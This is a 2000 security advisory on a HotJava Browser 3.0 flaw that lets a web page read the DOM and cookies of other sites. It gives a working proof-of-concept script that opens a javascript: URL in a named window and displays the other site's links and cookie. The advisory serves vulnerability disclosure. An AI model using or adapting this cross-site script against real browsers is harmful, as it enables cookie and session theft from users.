HotJava Browser 3.0 JavaScript security vulnerability

Systems affected:
HotJava Browser 3.0, Windows98 - probably other platforms since the browser is written in Java.

Risk: High
Date: 25 October 2000

Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or  indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof.

Description:

There is a security vulnerability in HotJava Browser 3.0 which allows accessing the DOM of arbitrary URLs after viewing a web page. This allows stealing of cookies.

Details:
The problem is opening an javascript: URL in a named window, which allows accessing the DOM of the document in the named window.

The code is:
---------hotjava-1.html------------------------------------------
<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000);
</SCRIPT>
---------------------------------------------------------------------

Workaround:
Disable JavaScript 

Demonstration is available at: 
http://www.guninski.com/hotjava-1.html

Vendor status:
Sun was notified by email at least 4 days ago but did not hear back from them.